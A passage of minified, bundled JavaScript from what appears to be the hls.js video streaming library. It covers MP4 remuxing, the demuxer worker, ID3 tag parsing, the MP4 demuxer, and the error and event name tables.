r,i=e.moov(t);return(r=new Uint8Array(e.FTYP.byteLength+i.byteLength)).set(e.FTYP),r.set(i,e.FTYP.byteLength),r},e}(),O=x;function M(e,t,r,i){void 0===r&&(r=1),void 0===i&&(i=!1);var n=e*t*r;return i?Math.round(n):n}function N(e,t){return void 0===t&&(t=!1),M(e,1e3,1/9e4,t)}function F(e,t){return void 0===t&&(t=1),M(e,9e4,1/t)}var U=F(10),B=F(.2),G=null;function j(e,t){var r;if(void 0===t)return e;for(r=t<e?-8589934592:8589934592;Math.abs(e-t)>4294967296;)e+=r;return e}var $,H=function(){function e(e,t,r,i){if(this.observer=e,this.config=t,this.typeSupported=r,this.ISGenerated=!1,null===G){var n=navigator.userAgent.match(/Chrome\/(\d+)/i);G=n?parseInt(n[1]):0}}var t=e.prototype;return t.destroy=function(){},t.resetTimeStamp=function(e){this._initPTS=this._initDTS=e},t.resetInitSegment=function(){this.ISGenerated=!1},t.getVideoStartPts=function(e){var t=!1,r=e.reduce((function(e,r){var i=r.pts-e;return i<-4294967296?(t=!0,j(e,r.pts)):i>0?e:r.pts}),e[0].pts);return t&&l.logger.debug("PTS rollover detected"),r},t.remux=function(e,t,r,n,s,a,o){if(this.ISGenerated||this.generateIS(e,t,s),this.ISGenerated){var d=e.samples.length,h=t.samples.length,u=s,c=s;if(d&&h){var f=this.getVideoStartPts(t.samples),g=(j(e.samples[0].pts,f)-f)/t.inputTimeScale;u+=Math.max(0,g),c+=Math.max(0,-g)}if(d){e.timescale||(l.logger.warn("regenerate InitSegment as audio detected"),this.generateIS(e,t,s));var p,m=this.remuxAudio(e,u,a,o);h&&(m&&(p=m.endPTS-m.startPTS),t.timescale||(l.logger.warn("regenerate InitSegment as video detected"),this.generateIS(e,t,s)),this.remuxVideo(t,c,a,p))}else if(h){var v=this.remuxVideo(t,c,a,0,o);v&&e.codec&&this.remuxEmptyAudio(e,u,a,v)}}r.samples.length&&this.remuxID3(r,s),n.samples.length&&this.remuxText(n,s),this.observer.trigger(i.default.FRAG_PARSED)},t.generateIS=function(e,t,r){var s,a,o=this.observer,d=e.samples,h=t.samples,u=this.typeSupported,c="audio/mp4",f={},g={tracks:f},p=void 0===this._initPTS;if(p&&(s=a=1/0),e.config&&d.length&&(e.timescale=e.samplerate,l.logger.log("audio sampling rate : "+e.samplerate),e.isAAC||(u.mpeg?(c="audio/mpeg",e.codec=""):u.mp3&&(e.codec="mp3")),f.audio={container:c,codec:e.codec,initSegment:!e.isAAC&&u.mpeg?new Uint8Array:O.initSegment([e]),metadata:{channelCount:e.channelCount}},p&&(s=a=d[0].pts-Math.round(e.inputTimeScale*r))),t.sps&&t.pps&&h.length){var m=t.inputTimeScale;if(t.timescale=m,f.video={container:"video/mp4",codec:t.codec,initSegment:O.initSegment([t]),metadata:{width:t.width,height:t.height}},p){var v=this.getVideoStartPts(h),_=Math.round(m*r);a=Math.min(a,j(h[0].dts,v)-_),s=Math.min(s,v-_),this.observer.trigger(i.default.INIT_PTS_FOUND,{initPTS:s})}}else p&&f.audio&&this.observer.trigger(i.default.INIT_PTS_FOUND,{initPTS:s});Object.keys(f).length?(o.trigger(i.default.FRAG_PARSING_INIT_SEGMENT,g),this.ISGenerated=!0,p&&(this._initPTS=s,this._initDTS=a)):o.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!1,reason:"no audio/video samples found"})},t.remuxVideo=function(e,t,r,s){var a,o,d,h,u,c=e.timescale,f=e.samples,g=[],p=f.length,m=this._initPTS,v=8,_=Number.POSITIVE_INFINITY,y=Number.NEGATIVE_INFINITY,E=0,b=!1,S=this.nextAvcDts;if(0!==p){r||(S=t*c-(f[0].pts-j(f[0].dts,f[0].pts)));for(var T=0;T<p;T++){var w=f[T];w.pts=j(w.pts-m,S),w.dts=j(w.dts-m,S),w.dts>w.pts&&(E=Math.max(Math.min(E,w.pts-w.dts),-1*B)),w.dts<f[T>0?T-1:T].dts&&(b=!0)}b&&f.sort((function(e,t){var r=e.dts-t.dts,i=e.pts-t.pts;return r||i||e.id-t.id})),h=f[0].dts,u=f[p-1].dts;var A=Math.round((u-h)/(p-1));if(E<0){if(E<-2*A){l.logger.warn("PTS < DTS detected in video samples, offsetting DTS from PTS by "+N(-A,!0)+" ms");for(var P=E,L=0;L<p;L++)f[L].dts=P=Math.max(P,f[L].pts-A),f[L].pts=Math.max(P,f[L].pts)}else{l.logger.warn("PTS < DTS detected in video samples, shifting DTS by "+N(E,!0)+" ms to overcome this issue");for(var R=0;R<p;R++)f[R].dts=f[R].dts+E}h=f[0].dts,u=f[p-1].dts}if(r){var I=h-S,D=I>A;if(D||I<-1){D?l.logger.warn("AVC: "+N(I,!0)+" ms ("+I+"dts) hole between fragments detected, filling it"):l.logger.warn("AVC: "+N(-I,!0)+" ms ("+I+"dts) overlapping between fragments detected"),h=S;var C=f[0].pts-I;f[0].dts=h,f[0].pts=C,l.logger.log("Video: First PTS/DTS adjusted: "+N(C,!0)+"/"+N(h,!0)+", delta: "+N(I,!0)+" ms")}}G&&G<75&&(h=Math.max(0,h));for(var k=0,x=0,M=0;M<p;M++){for(var F=f[M],U=F.units,$=U.length,H=0,q=0;q<$;q++)H+=U[q].data.length;x+=H,k+=$,F.length=H,F.dts=Math.max(F.dts,h),F.pts=Math.max(F.pts,F.dts,0),_=Math.min(F.pts,_),y=Math.max(F.pts,y)}u=f[p-1].dts;var W=x+4*k+8;try{o=new Uint8Array(W)}catch(e){return void this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MUX_ERROR,details:n.ErrorDetails.REMUX_ALLOC_ERROR,fatal:!1,bytes:W,reason:"fail allocating video mdat "+W})}var V=new DataView(o.buffer);V.setUint32(0,W),o.set(O.types.mdat,4);for(var K=0;K<p;K++){for(var z,X=f[K],Y=X.units,J=0,Q=0,Z=Y.length;Q<Z;Q++){var ee=Y[Q],te=ee.data,re=ee.data.byteLength;V.setUint32(v,re),v+=4,o.set(te,v),v+=re,J+=4+re}if(K<p-1)a=f[K+1].dts-X.dts;else{var ie=this.config,ne=X.dts-f[K>0?K-1:K].dts;if(ie.stretchShortVideoTrack){var se=ie.maxBufferHole,ae=Math.floor(se*c),oe=(s?_+s*c:this.nextAudioPts)-X.pts;oe>ae?((a=oe-ne)<0&&(a=ne),l.logger.log("It is approximately "+N(oe,!1)+" ms to the next segment; using duration "+N(a,!1)+" ms for the last video frame.")):a=ne}else a=ne}z=Math.round(X.pts-X.dts),g.push({size:J,duration:a,cts:z,flags:{isLeading:0,isDependedOn:0,hasRedundancy:0,degradPrio:0,dependsOn:X.key?2:1,isNonSync:X.key?0:1}})}this.nextAvcDts=u+a;var le=e.dropped;if(e.nbNalu=0,e.dropped=0,g.length&&navigator.userAgent.toLowerCase().indexOf("chrome")>-1){var de=g[0].flags;de.dependsOn=2,de.isNonSync=0}e.samples=g,d=O.moof(e.sequenceNumber++,h,e),e.samples=[];var he={data1:d,data2:o,startPTS:_/c,endPTS:(y+a)/c,startDTS:h/c,endDTS:this.nextAvcDts/c,type:"video",hasAudio:!1,hasVideo:!0,nb:g.length,dropped:le};return this.observer.trigger(i.default.FRAG_PARSING_DATA,he),he}},t.remuxAudio=function(e,t,r,s){var a,o,d,h,u,c,f=e.inputTimeScale,g=e.timescale,p=f/g,m=(e.isAAC?1024:1152)*p,v=this._initPTS,_=!e.isAAC&&this.typeSupported.mpeg,y=_?0:8,E=e.samples,b=[],S=this.nextAudioPts;if(r|=E.length&&S&&(s&&Math.abs(t-S/f)<.1||Math.abs(E[0].pts-S-v)<20*m),E.forEach((function(e){e.pts=e.dts=j(e.pts-v,t*f)})),E=E.filter((function(e){return e.pts>=0})),0!==E.length){if(r||(S=s?Math.max(0,t*f):E[0].pts),e.isAAC)for(var T=this.config.maxAudioFramesDrift,w=0,A=S;w<E.length;){var P=E[w],L=P.pts,R=L-A;if(R<=-T*m)r||w>0?(l.logger.warn("Dropping 1 audio frame @ "+N(A,!0)/1e3+"s due to "+N(R,!0)+" ms overlap."),E.splice(w,1)):(l.logger.warn("Audio frame @ "+N(L,!0)/1e3+"s overlaps nextAudioPts by "+N(R,!0)+" ms."),A=L+m,w++);else if(R>=T*m&&R<U&&A){var I=Math.round(R/m);l.logger.warn("Injecting "+I+" audio frames @ "+N(A,!0)/1e3+"s due to "+N(R,!0)+" ms gap.");for(var D=0;D<I;D++){var k=Math.max(A,0);(o=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount))||(l.logger.log("Unable to get silent frame for given audio codec; duplicating last frame instead."),o=P.unit.subarray()),E.splice(w,0,{unit:o,pts:k,dts:k}),A+=m,w++}P.pts=P.dts=A,A+=m,w++}else Math.abs(R),P.pts=P.dts=A,A+=m,w++}for(var x=E.length,M=0;x--;)M+=E[x].unit.byteLength;for(var F=0,B=E.length;F<B;F++){var G=E[F],$=G.unit,H=G.pts;if(void 0!==c&&a)a.duration=Math.round((H-c)/p);else{var q=H-S,W=0;if(r&&e.isAAC&&q){if(q>0&&q<U)W=Math.round((H-S)/m),l.logger.log(N(q,!0)+" ms hole between AAC samples detected,filling it"),W>0&&((o=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount))||(o=$.subarray()),M+=W*o.length);else if(q<-12){l.logger.log("drop overlapping AAC sample, expected/parsed/delta: "+N(S,!0)+" ms / "+N(H,!0)+" ms / "+N(-q,!0)+" ms"),M-=$.byteLength;continue}H=S}if(u=H,!(M>0))return;M+=y;try{d=new Uint8Array(M)}catch(e){return void this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MUX_ERROR,details:n.ErrorDetails.REMUX_ALLOC_ERROR,fatal:!1,bytes:M,reason:"fail allocating audio mdat "+M})}_||(new DataView(d.buffer).setUint32(0,M),d.set(O.types.mdat,4));for(var V=0;V<W;V++)(o=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount))||(l.logger.log("Unable to get silent frame for given audio codec; duplicating this frame instead."),o=$.subarray()),d.set(o,y),y+=o.byteLength,a={size:o.byteLength,cts:0,duration:1024,flags:{isLeading:0,isDependedOn:0,hasRedundancy:0,degradPrio:0,dependsOn:1}},b.push(a)}d.set($,y);var K=$.byteLength;y+=K,a={size:K,cts:0,duration:0,flags:{isLeading:0,isDependedOn:0,hasRedundancy:0,degradPrio:0,dependsOn:1}},b.push(a),c=H}var z=0;if((x=b.length)>=2&&(z=b[x-2].duration,a.duration=z),x){this.nextAudioPts=S=c+p*z,e.samples=b,h=_?new Uint8Array:O.moof(e.sequenceNumber++,u/p,e),e.samples=[];var X=u/f,Y=S/f,J={data1:h,data2:d,startPTS:X,endPTS:Y,startDTS:X,endDTS:Y,type:"audio",hasAudio:!0,hasVideo:!1,nb:x};return this.observer.trigger(i.default.FRAG_PARSING_DATA,J),J}return null}},t.remuxEmptyAudio=function(e,t,r,i){var n=e.inputTimeScale,s=n/(e.samplerate?e.samplerate:n),a=this.nextAudioPts,o=(void 0!==a?a:i.startDTS*n)+this._initDTS,d=i.endDTS*n+this._initDTS,h=1024*s,u=Math.ceil((d-o)/h),c=C.getSilentFrame(e.manifestCodec||e.codec,e.channelCount);if(l.logger.warn("remux empty Audio"),c){for(var f=[],g=0;g<u;g++){var p=o+g*h;f.push({unit:c,pts:p,dts:p})}e.samples=f,this.remuxAudio(e,t,r)}else l.logger.trace("Unable to remuxEmptyAudio since we were unable to get a silent frame for given audio codec!")},t.remuxID3=function(e,t){var r=e.samples.length;if(r){for(var n=e.inputTimeScale,s=this._initPTS,a=this._initDTS,o=0;o<r;o++){var l=e.samples[o];l.pts=j(l.pts-s,t*n)/n,l.dts=j(l.dts-a,t*n)/n}this.observer.trigger(i.default.FRAG_PARSING_METADATA,{samples:e.samples}),e.samples=[]}},t.remuxText=function(e,t){var r=e.samples.length,n=e.inputTimeScale,s=this._initPTS;if(r){for(var a=0;a<r;a++){var o=e.samples[a];o.pts=j(o.pts-s,t*n)/n}e.samples.sort((function(e,t){return e.pts-t.pts})),this.observer.trigger(i.default.FRAG_PARSING_USERDATA,{samples:e.samples})}e.samples=[]},e}(),q=function(){function e(e){this.observer=e}var t=e.prototype;return t.destroy=function(){},t.resetTimeStamp=function(){},t.resetInitSegment=function(){},t.remux=function(e,t,r,n,s,a,o,l){var d=this.observer,h="";e&&(h+="audio"),t&&(h+="video"),d.trigger(i.default.FRAG_PARSING_DATA,{data1:l,startPTS:s,startDTS:s,type:h,hasAudio:!!e,hasVideo:!!t,nb:1,dropped:0}),d.trigger(i.default.FRAG_PARSED)},e}(),W=Object(d.getSelfScope)();try{$=W.performance.now.bind(W.performance)}catch(e){l.logger.debug("Unable to use Performance API on this environment"),$=W.Date.now}var V=function(){function e(e,t,r,i){this.observer=e,this.typeSupported=t,this.config=r,this.vendor=i}var t=e.prototype;return t.destroy=function(){var e=this.demuxer;e&&e.destroy()},t.push=function(e,t,r,n,s,a,o,l,d,h,c,f){var g=this;if(e.byteLength>0&&null!=t&&null!=t.key&&"AES-128"===t.method){var p=this.decrypter;null==p&&(p=this.decrypter=new u(this.observer,this.config));var m=$();p.decrypt(e,t.key.buffer,t.iv.buffer,(function(e){var u=$();g.observer.trigger(i.default.FRAG_DECRYPTED,{stats:{tstart:m,tdecrypt:u}}),g.pushDecrypted(new Uint8Array(e),t,new Uint8Array(r),n,s,a,o,l,d,h,c,f)}))}else this.pushDecrypted(new Uint8Array(e),t,new Uint8Array(r),n,s,a,o,l,d,h,c,f)},t.pushDecrypted=function(e,t,r,s,a,o,l,d,h,u,c,f){var g=this.demuxer,p=this.remuxer;if(!g||l||d){for(var m,v=this.observer,_=this.typeSupported,y=this.config,E=[{demux:I,remux:H},{demux:T.default,remux:q},{demux:S,remux:H},{demux:D,remux:H}],b=0,w=E.length;b<w&&!(m=E[b]).demux.probe(e);b++);if(!m)return void v.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!0,reason:"no demux matching with content found"});p&&p instanceof m.remux||(p=new m.remux(v,y,_,this.vendor)),g&&g instanceof m.demux||(g=new m.demux(v,p,y,_),this.probe=m.demux.probe),this.demuxer=g,this.remuxer=p}(l||d)&&(g.resetInitSegment(r,s,a,u),p.resetInitSegment()),l&&(g.resetTimeStamp(f),p.resetTimeStamp(f)),"function"==typeof g.setDecryptData&&g.setDecryptData(t),g.append(e,o,h,c)},e}();t.default=V},"./src/demux/demuxer-worker.js":
|
|
28
|
-
/*!*************************************!*\
|
|
29
|
-
!*** ./src/demux/demuxer-worker.js ***!
|
|
30
|
-
\*************************************/
|
|
31
|
-
/*! exports provided: default */
|
|
32
|
-
/*! ModuleConcatenation bailout: Module is referenced from these modules with unsupported syntax: ./src/demux/demuxer.js (referenced with require.resolve) */function(e,t,r){"use strict";r.r(t);var i=r(/*! ../demux/demuxer-inline */"./src/demux/demuxer-inline.js"),n=r(/*! ../events */"./src/events.js"),s=r(/*! ../utils/logger */"./src/utils/logger.js"),a=r(/*! eventemitter3 */"./node_modules/eventemitter3/index.js");t.default=function(e){var t=new a.EventEmitter;t.trigger=function(e){for(var r=arguments.length,i=new Array(r>1?r-1:0),n=1;n<r;n++)i[n-1]=arguments[n];t.emit.apply(t,[e,e].concat(i))},t.off=function(e){for(var r=arguments.length,i=new Array(r>1?r-1:0),n=1;n<r;n++)i[n-1]=arguments[n];t.removeListener.apply(t,[e].concat(i))};var r=function(t,r){e.postMessage({event:t,data:r})};e.addEventListener("message",(function(n){var a=n.data;switch(a.cmd){case"init":var o=JSON.parse(a.config);e.demuxer=new i.default(t,a.typeSupported,o,a.vendor),Object(s.enableLogs)(o.debug),r("init",null);break;case"demux":e.demuxer.push(a.data,a.decryptdata,a.initSegment,a.audioCodec,a.videoCodec,a.timeOffset,a.discontinuity,a.trackSwitch,a.contiguous,a.duration,a.accurateTimeOffset,a.defaultInitPTS)}})),t.on(n.default.FRAG_DECRYPTED,r),t.on(n.default.FRAG_PARSING_INIT_SEGMENT,r),t.on(n.default.FRAG_PARSED,r),t.on(n.default.ERROR,r),t.on(n.default.FRAG_PARSING_METADATA,r),t.on(n.default.FRAG_PARSING_USERDATA,r),t.on(n.default.INIT_PTS_FOUND,r),t.on(n.default.FRAG_PARSING_DATA,(function(t,r){var i=[],n={event:t,data:r};r.data1&&(n.data1=r.data1.buffer,i.push(r.data1.buffer),delete r.data1),r.data2&&(n.data2=r.data2.buffer,i.push(r.data2.buffer),delete r.data2),e.postMessage(n,i)}))}},"./src/demux/id3.js":
|
|
33
|
-
/*!**************************!*\
|
|
34
|
-
!*** ./src/demux/id3.js ***!
|
|
35
|
-
\**************************/
|
|
36
|
-
/*! exports provided: default, utf8ArrayToStr */function(e,t,r){"use strict";r.r(t),r.d(t,"utf8ArrayToStr",(function(){return o}));var i,n=r(/*! ../utils/get-self-scope */"./src/utils/get-self-scope.js"),s=function(){function e(){}return e.isHeader=function(e,t){return t+10<=e.length&&73===e[t]&&68===e[t+1]&&51===e[t+2]&&e[t+3]<255&&e[t+4]<255&&e[t+6]<128&&e[t+7]<128&&e[t+8]<128&&e[t+9]<128},e.isFooter=function(e,t){return t+10<=e.length&&51===e[t]&&68===e[t+1]&&73===e[t+2]&&e[t+3]<255&&e[t+4]<255&&e[t+6]<128&&e[t+7]<128&&e[t+8]<128&&e[t+9]<128},e.getID3Data=function(t,r){for(var i=r,n=0;e.isHeader(t,r);)n+=10,n+=e._readSize(t,r+6),e.isFooter(t,r+10)&&(n+=10),r+=n;if(n>0)return t.subarray(i,i+n)},e._readSize=function(e,t){var r=0;return r=(127&e[t])<<21,r|=(127&e[t+1])<<14,r|=(127&e[t+2])<<7,r|=127&e[t+3]},e.getTimeStamp=function(t){for(var r=e.getID3Frames(t),i=0;i<r.length;i++){var n=r[i];if(e.isTimeStampFrame(n))return e._readTimeStamp(n)}},e.isTimeStampFrame=function(e){return e&&"PRIV"===e.key&&"com.apple.streaming.transportStreamTimestamp"===e.info},e._getFrameData=function(t){var r=String.fromCharCode(t[0],t[1],t[2],t[3]),i=e._readSize(t,4);return{type:r,size:i,data:t.subarray(10,10+i)}},e.getID3Frames=function(t){for(var r=0,i=[];e.isHeader(t,r);){for(var n=e._readSize(t,r+6),s=(r+=10)+n;r+8<s;){var a=e._getFrameData(t.subarray(r)),o=e._decodeFrame(a);o&&i.push(o),r+=a.size+10}e.isFooter(t,r)&&(r+=10)}return i},e._decodeFrame=function(t){return"PRIV"===t.type?e._decodePrivFrame(t):"W"===t.type[0]?e._decodeURLFrame(t):e._decodeTextFrame(t)},e._readTimeStamp=function(e){if(8===e.data.byteLength){var t=new Uint8Array(e.data),r=1&t[3],i=(t[4]<<23)+(t[5]<<15)+(t[6]<<7)+t[7];return i/=45,r&&(i+=47721858.84),Math.round(i)}},e._decodePrivFrame=function(t){if(!(t.size<2)){var r=e._utf8ArrayToStr(t.data,!0),i=new Uint8Array(t.data.subarray(r.length+1));return{key:t.type,info:r,data:i.buffer}}},e._decodeTextFrame=function(t){if(!(t.size<2)){if("TXXX"===t.type){var r=1,i=e._utf8ArrayToStr(t.data.subarray(r),!0);r+=i.length+1;var n=e._utf8ArrayToStr(t.data.subarray(r));return{key:t.type,info:i,data:n}}var s=e._utf8ArrayToStr(t.data.subarray(1));return{key:t.type,data:s}}},e._decodeURLFrame=function(t){if("WXXX"===t.type){if(t.size<2)return;var r=1,i=e._utf8ArrayToStr(t.data.subarray(r),!0);r+=i.length+1;var n=e._utf8ArrayToStr(t.data.subarray(r));return{key:t.type,info:i,data:n}}var s=e._utf8ArrayToStr(t.data);return{key:t.type,data:s}},e._utf8ArrayToStr=function(e,t){void 0===t&&(t=!1);var r=a();if(r){var i=r.decode(e);if(t){var n=i.indexOf("\0");return-1!==n?i.substring(0,n):i}return i.replace(/\0/g,"")}for(var s,o,l,d=e.length,h="",u=0;u<d;){if(0===(s=e[u++])&&t)return h;if(0!==s&&3!==s)switch(s>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:h+=String.fromCharCode(s);break;case 12:case 13:o=e[u++],h+=String.fromCharCode((31&s)<<6|63&o);break;case 14:o=e[u++],l=e[u++],h+=String.fromCharCode((15&s)<<12|(63&o)<<6|(63&l)<<0)}}return h},e}();function a(){var e=Object(n.getSelfScope)();return i||void 0===e.TextDecoder||(i=new e.TextDecoder("utf-8")),i}var o=s._utf8ArrayToStr;t.default=s},"./src/demux/mp4demuxer.js":
|
|
37
|
-
/*!*********************************!*\
|
|
38
|
-
!*** ./src/demux/mp4demuxer.js ***!
|
|
39
|
-
\*********************************/
|
|
40
|
-
/*! exports provided: default */function(e,t,r){"use strict";r.r(t);var i=r(/*! ../utils/logger */"./src/utils/logger.js"),n=r(/*! ../events */"./src/events.js"),s=Math.pow(2,32)-1,a=function(){function e(e,t){this.observer=e,this.remuxer=t}var t=e.prototype;return t.resetTimeStamp=function(e){this.initPTS=e},t.resetInitSegment=function(t,r,i,s){if(t&&t.byteLength){var a=this.initData=e.parseInitSegment(t);null==r&&(r="mp4a.40.5"),null==i&&(i="avc1.42e01e");var o={};a.audio&&a.video?o.audiovideo={container:"video/mp4",codec:r+","+i,initSegment:s?t:null}:(a.audio&&(o.audio={container:"audio/mp4",codec:r,initSegment:s?t:null}),a.video&&(o.video={container:"video/mp4",codec:i,initSegment:s?t:null})),this.observer.trigger(n.default.FRAG_PARSING_INIT_SEGMENT,{tracks:o})}else r&&(this.audioCodec=r),i&&(this.videoCodec=i)},e.probe=function(t){return e.findBox({data:t,start:0,end:Math.min(t.length,16384)},["moof"]).length>0},e.bin2str=function(e){return String.fromCharCode.apply(null,e)},e.readUint16=function(e,t){e.data&&(t+=e.start,e=e.data);var r=e[t]<<8|e[t+1];return r<0?65536+r:r},e.readUint32=function(e,t){e.data&&(t+=e.start,e=e.data);var r=e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3];return r<0?4294967296+r:r},e.writeUint32=function(e,t,r){e.data&&(t+=e.start,e=e.data),e[t]=r>>24,e[t+1]=r>>16&255,e[t+2]=r>>8&255,e[t+3]=255&r},e.findBox=function(t,r){var i,n,s,a,o,l,d=[];if(t.data?(o=t.start,s=t.end,t=t.data):(o=0,s=t.byteLength),!r.length)return null;for(i=o;i<s;)l=(n=e.readUint32(t,i))>1?i+n:s,e.bin2str(t.subarray(i+4,i+8))===r[0]&&(1===r.length?d.push({data:t,start:i+8,end:l}):(a=e.findBox({data:t,start:i+8,end:l},r.slice(1))).length&&(d=d.concat(a))),i=l;return d},e.parseSegmentIndex=function(t){var r,i=e.findBox(t,["moov"])[0],n=i?i.end:null,s=0,a=e.findBox(t,["sidx"]);if(!a||!a[0])return null;r=[];var o=(a=a[0]).data[0];s=0===o?8:16;var l=e.readUint32(a,s);s+=4,s+=0===o?8:16,s+=2;var d=a.end+0,h=e.readUint16(a,s);s+=2;for(var u=0;u<h;u++){var c=s,f=e.readUint32(a,c);c+=4;var g=2147483647&f;if(1==(2147483648&f)>>>31)return void console.warn("SIDX has hierarchical references (not supported)");var p=e.readUint32(a,c);c+=4,r.push({referenceSize:g,subsegmentDuration:p,info:{duration:p/l,start:d,end:d+g-1}}),d+=g,s=c+=4}return{earliestPresentationTime:0,timescale:l,version:o,referencesCount:h,references:r,moovEndOffset:n}},e.parseInitSegment=function(t){var r=[];return e.findBox(t,["moov","trak"]).forEach((function(t){var n=e.findBox(t,["tkhd"])[0];if(n){var s=n.data[n.start],a=0===s?12:20,o=e.readUint32(n,a),l=e.findBox(t,["mdia","mdhd"])[0];if(l){a=0===(s=l.data[l.start])?12:20;var d=e.readUint32(l,a),h=e.findBox(t,["mdia","hdlr"])[0];if(h){var u={soun:"audio",vide:"video"}[e.bin2str(h.data.subarray(h.start+8,h.start+12))];if(u){var c=e.findBox(t,["mdia","minf","stbl","stsd"]);if(c.length){c=c[0];var f=e.bin2str(c.data.subarray(c.start+12,c.start+16));i.logger.log("MP4Demuxer:"+u+":"+f+" found")}r[o]={timescale:d,type:u},r[u]={timescale:d,id:o}}}}}})),r},e.getStartDTS=function(t,r){var i,n,s;return i=e.findBox(r,["moof","traf"]),n=[].concat.apply([],i.map((function(r){return e.findBox(r,["tfhd"]).map((function(i){var n,s,a;return n=e.readUint32(i,4),s=t[n].timescale||9e4,a=e.findBox(r,["tfdt"]).map((function(t){var r,i;return r=t.data[t.start],i=e.readUint32(t,4),1===r&&(i*=Math.pow(2,32),i+=e.readUint32(t,8)),i}))[0],a/s}))}))),s=Math.min.apply(null,n),isFinite(s)?s:0},e.offsetStartDTS=function(t,r,i){e.findBox(r,["moof","traf"]).map((function(r){return e.findBox(r,["tfhd"]).map((function(n){var a=e.readUint32(n,4),o=t[a].timescale||9e4;e.findBox(r,["tfdt"]).map((function(t){var r=t.data[t.start],n=e.readUint32(t,4);if(0===r)e.writeUint32(t,4,n-i*o);else{n*=Math.pow(2,32),n+=e.readUint32(t,8),n-=i*o,n=Math.max(n,0);var a=Math.floor(n/(s+1)),l=Math.floor(n%(s+1));e.writeUint32(t,4,a),e.writeUint32(t,8,l)}}))}))}))},t.append=function(t,r,i,s){var a=this.initData;a||(this.resetInitSegment(t,this.audioCodec,this.videoCodec,!1),a=this.initData);var o,l=this.initPTS;if(void 0===l){var d=e.getStartDTS(a,t);this.initPTS=l=d-r,this.observer.trigger(n.default.INIT_PTS_FOUND,{initPTS:l})}e.offsetStartDTS(a,t,l),o=e.getStartDTS(a,t),this.remuxer.remux(a.audio,a.video,null,null,o,i,s,t)},t.destroy=function(){},e}();t.default=a},"./src/empty.js":
|
|
41
|
-
/*!**********************!*\
|
|
42
|
-
!*** ./src/empty.js ***!
|
|
43
|
-
\**********************/
|
|
44
|
-
/*! no static exports found */
|
|
45
|
-
/*! ModuleConcatenation bailout: Module is not an ECMAScript module */function(e,t){e.exports=void 0},"./src/errors.ts":
|
|
46
|
-
/*!***********************!*\
|
|
47
|
-
!*** ./src/errors.ts ***!
|
|
48
|
-
\***********************/
|
|
49
|
-
/*! exports provided: ErrorTypes, ErrorDetails */function(e,t,r){"use strict";var i,n;r.r(t),r.d(t,"ErrorTypes",(function(){return i})),r.d(t,"ErrorDetails",(function(){return n})),function(e){e.NETWORK_ERROR="networkError",e.MEDIA_ERROR="mediaError",e.KEY_SYSTEM_ERROR="keySystemError",e.MUX_ERROR="muxError",e.OTHER_ERROR="otherError"}(i||(i={})),function(e){e.KEY_SYSTEM_NO_KEYS="keySystemNoKeys",e.KEY_SYSTEM_NO_ACCESS="keySystemNoAccess",e.KEY_SYSTEM_NO_SESSION="keySystemNoSession",e.KEY_SYSTEM_LICENSE_REQUEST_FAILED="keySystemLicenseRequestFailed",e.KEY_SYSTEM_NO_INIT_DATA="keySystemNoInitData",e.MANIFEST_LOAD_ERROR="manifestLoadError",e.MANIFEST_LOAD_TIMEOUT="manifestLoadTimeOut",e.MANIFEST_PARSING_ERROR="manifestParsingError",e.MANIFEST_INCOMPATIBLE_CODECS_ERROR="manifestIncompatibleCodecsError",e.LEVEL_EMPTY_ERROR="levelEmptyError",e.LEVEL_LOAD_ERROR="levelLoadError",e.LEVEL_LOAD_TIMEOUT="levelLoadTimeOut",e.LEVEL_SWITCH_ERROR="levelSwitchError",e.AUDIO_TRACK_LOAD_ERROR="audioTrackLoadError",e.AUDIO_TRACK_LOAD_TIMEOUT="audioTrackLoadTimeOut",e.FRAG_LOAD_ERROR="fragLoadError",e.FRAG_LOAD_TIMEOUT="fragLoadTimeOut",e.FRAG_DECRYPT_ERROR="fragDecryptError",e.FRAG_PARSING_ERROR="fragParsingError",e.REMUX_ALLOC_ERROR="remuxAllocError",e.KEY_LOAD_ERROR="keyLoadError",e.KEY_LOAD_TIMEOUT="keyLoadTimeOut",e.BUFFER_ADD_CODEC_ERROR="bufferAddCodecError",e.BUFFER_APPEND_ERROR="bufferAppendError",e.BUFFER_APPENDING_ERROR="bufferAppendingError",e.BUFFER_STALLED_ERROR="bufferStalledError",e.BUFFER_FULL_ERROR="bufferFullError",e.BUFFER_SEEK_OVER_HOLE="bufferSeekOverHole",e.BUFFER_NUDGE_ON_STALL="bufferNudgeOnStall",e.INTERNAL_EXCEPTION="internalException"}(n||(n={}))},"./src/events.js":
|
|
50
|
-
/*!***********************!*\
|
|
51
|
-
!*** ./src/events.js ***!
|
|
52
|
-
\***********************/
|
|
53
|
-
/*! exports provided: default */function(e,t,r){"use strict";r.r(t),t.default={MEDIA_ATTACHING:"hlsMediaAttaching",MEDIA_ATTACHED:"hlsMediaAttached",MEDIA_DETACHING:"hlsMediaDetaching",MEDIA_DETACHED:"hlsMediaDetached",BUFFER_RESET:"hlsBufferReset",BUFFER_CODECS:"hlsBufferCodecs",BUFFER_CREATED:"hlsBufferCreated",BUFFER_APPENDING:"hlsBufferAppending",BUFFER_APPENDED:"hlsBufferAppended",BUFFER_EOS:"hlsBufferEos",BUFFER_FLUSHING:"hlsBufferFlushing",BUFFER_FLUSHED:"hlsBufferFlushed",MANIFEST_LOADING:"hlsManifestLoading",MANIFEST_LOADED:"hlsManifestLoaded",MANIFEST_PARSED:"hlsManifestParsed",LEVEL_SWITCHING:"hlsLevelSwitching",LEVEL_SWITCHED:"hlsLevelSwitched",LEVEL_LOADING:"hlsLevelLoading",LEVEL_LOADED:"hlsLevelLoaded",LEVEL_UPDATED:"hlsLevelUpdated",LEVEL_PTS_UPDATED:"hlsLevelPtsUpdated",LEVELS_UPDATED:"hlsLevelsUpdated",AUDIO_TRACKS_UPDATED:"hlsAudioTracksUpdated",AUDIO_TRACK_SWITCHING:"hlsAudioTrackSwitching",AUDIO_TRACK_SWITCHED:"hlsAudioTrackSwitched",AUDIO_TRACK_LOADING:"hlsAudioTrackLoading",AUDIO_TRACK_LOADED:"h